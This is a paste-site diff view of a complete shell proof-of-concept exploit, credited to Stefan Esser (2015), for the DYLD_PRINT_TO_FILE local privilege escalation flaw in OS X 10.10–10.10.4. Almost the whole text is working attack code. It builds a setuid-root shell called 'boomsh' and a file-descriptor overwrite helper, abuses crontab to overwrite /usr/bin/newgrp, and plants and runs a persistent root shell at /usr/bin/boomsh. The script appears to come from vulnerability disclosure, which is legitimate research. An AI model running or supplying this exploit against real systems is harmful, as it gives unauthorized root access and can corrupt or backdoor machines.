View difference between Paste ID: qqAF6DiG and rQad2pjp
SHOW: | | - or go back to the newest paste.
1
#!/bin/sh
2
#
3
# Simple Proof of Concept Exploit for the DYLD_PRINT_TO_FILE
4
# local privilege escalation vulnerability in OS X 10.10 - 10.10.4
5
#
6
# (C) Copyright 2015 Stefan Esser <[email protected]>
7
#
8
# Wait months for a fix from Apple or install the following KEXT as protection
9
# https://github.com/sektioneins/SUIDGuard
10
#
11
# Use at your own risk. This copies files around with root permissions,
12
# overwrites them and deletes them afterwards. Any glitch could corrupt your
13
# system. So you have been warned.
14
15
SUIDVICTIM=/usr/bin/newgrp
16
17
# why even try to prevent a race condition?
18
TARGET=`pwd`/tmpXXXXX
19
20
rm -rf $TARGET
21
mkdir $TARGET
22
23
cat << EOF > $TARGET/boomsh.c
24
#include <stdio.h>
25
#include <stdlib.h>
26
#include <unistd.h>
27
28
int main()
29
{
30
        setuid(0);
31
        setgid(0);
32
        system("/bin/bash -i");
33
        printf("done.\n");
34
        return 0;
35
}
36
EOF
37
cat << EOF > $TARGET/overwrite.c
38
#include <sys/types.h>
39
#include <fcntl.h>
40
#include <unistd.h>
41
#include <stdlib.h>
42
#include <stdio.h>
43
44
int main(int argc, char **argv)
45
{
46
        int fd;
47
        char buffer[1024];
48
        ssize_t toread, numread;
49
        ssize_t numwritten;
50
        ssize_t size;
51
52
        /* disable O_APPEND */
53
        fcntl(3, F_SETFL, 0);
54
        lseek(3, 0, SEEK_SET);
55
56
        /* write file into it */
57
        fd = open(
58
EOF
59
echo "\"$TARGET/boomsh\"" >> $TARGET/overwrite.c
60
cat << EOF >> $TARGET/overwrite.c
61
        , O_RDONLY, 0);
62
        if (fd > 0) {
63
64
                /* determine size */
65
                size = lseek(fd, 0, SEEK_END);
66
                lseek(fd, 0, SEEK_SET);
67
68
                while (size > 0) {
69
                        if (size > sizeof(buffer)) {
70
                                toread = sizeof(buffer);
71
                        } else {
72
                                toread = size;
73
                        }
74
75
                        numread = read(fd, &buffer, toread);
76
                        if (numread < toread) {
77
                                fprintf(stderr, "problem reading\n");
78
                                _exit(2);
79
                        }
80
                        numwritten = write(3, &buffer, numread);
81
                        if (numread != numwritten) {
82
                                fprintf(stderr, "problem writing\n");
83
                                _exit(2);
84
                        }
85
86
                        size -= numwritten;
87
88
                }
89
90
                fsync(3);
91
                close(fd);
92
        } else {
93
                fprintf(stderr, "Cannot open for reading\n");
94
        }
95
96
        return 0;
97
}
98
EOF
99
100
cp $SUIDVICTIM $TARGET/backup
101
gcc -o $TARGET/overwrite $TARGET/overwrite.c
102
gcc -o $TARGET/boomsh $TARGET/boomsh.c
103
104
EDITOR=$TARGET/overwrite DYLD_PRINT_TO_FILE=$SUIDVICTIM crontab -e 2> /dev/null
105
echo "cp $TARGET/boomsh /usr/bin/boomsh; chmod 04755 /usr/bin/boomsh " | $SUIDVICTIM > /dev/null 2> /dev/null
106
echo "cp $TARGET/backup $SUIDVICTIM" | /usr/bin/boomsh > /dev/null 2> /dev/null
107
108
rm -rf $TARGET
109
110
/usr/bin/boomsh